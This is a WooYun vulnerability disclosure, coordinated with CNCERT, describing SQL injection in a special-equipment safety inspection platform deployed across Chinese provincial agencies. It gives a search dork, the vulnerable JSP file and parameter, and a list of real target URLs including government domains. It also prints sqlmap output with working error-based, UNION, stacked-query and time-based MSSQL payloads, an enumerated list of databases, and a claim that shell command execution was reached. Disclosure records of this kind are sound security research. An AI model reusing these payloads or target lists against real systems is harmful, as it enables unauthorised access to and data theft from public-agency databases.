当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101647

漏洞标题:某特种设备安全检查平台SQL注入漏洞,可shell,涉及各大省市地区

相关厂商:CNCERT

漏洞作者: 路人甲

提交时间:2015-03-17 15:05

修复时间:2015-06-15 16:12

公开时间:2015-06-15 16:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商已经确认,细节仅向厂商公开
2015-03-20: 细节向第三方安全合作伙伴开放
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

某特种设备安全检查平台SQL注入漏洞,可shell,涉及各大省市地区

详细说明:

系统结构:JSP+MSSQL
关键字:
inurl:subject_info.jsp?up_lmbh

12.png


漏洞证明:

漏洞文件:until/select_sb.jsp
POST注入参数:sydwmc
部分案例如下:
http://122.227.22.214:90/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://www.fjase.com/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://59.56.172.51/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://58.213.147.216/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://www.hljts.gov.cn/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://tzsb.gxqts.gov.cn/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://www.hntsw.gov.cn/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://www.sxtsaj.com/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://111.75.211.4/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
http://www.jxtzsb.cn/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa
等等
漏洞验证:
以http://122.227.22.214:90/until/select_sb.jsp?SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa为例:

Place: GET
Parameter: sydwmc
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa%' AND
7464=CONVERT(INT,(CHAR(58) CHAR(109) CHAR(112) CHAR(98) CHAR(58) (SELECT (CASE W
HEN (7464=7464) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(100) C
HAR(100) CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 48 columns
Payload: SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa%' UNIO
N ALL SELECT NULL,NULL,NULL,NULL,CHAR(58) CHAR(109) CHAR(112) CHAR(98) CHAR(58)
CHAR(84) CHAR(118) CHAR(118) CHAR(82) CHAR(121) CHAR(80) CHAR(84) CHAR(97) CHAR(
65) CHAR(66) CHAR(58) CHAR(116) CHAR(100) CHAR(100) CHAR(58),NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa%'; WAI
TFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: SUPFORM=&SUPID=&SUPMC=&SUPDWMC=&select=&select_m=&sydwmc=aaa%' WAIT
FOR DELAY '0:0:5'--
---


1.png


数据库:

2.png


available databases [9]:
[*] JY_CS
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] TZSB
[*] TZSB_JY_NEW
命令执行:

3.png


其他如上!

修复方案:

参数过滤,访问控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-17 16:11

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无


漏洞评价:

评论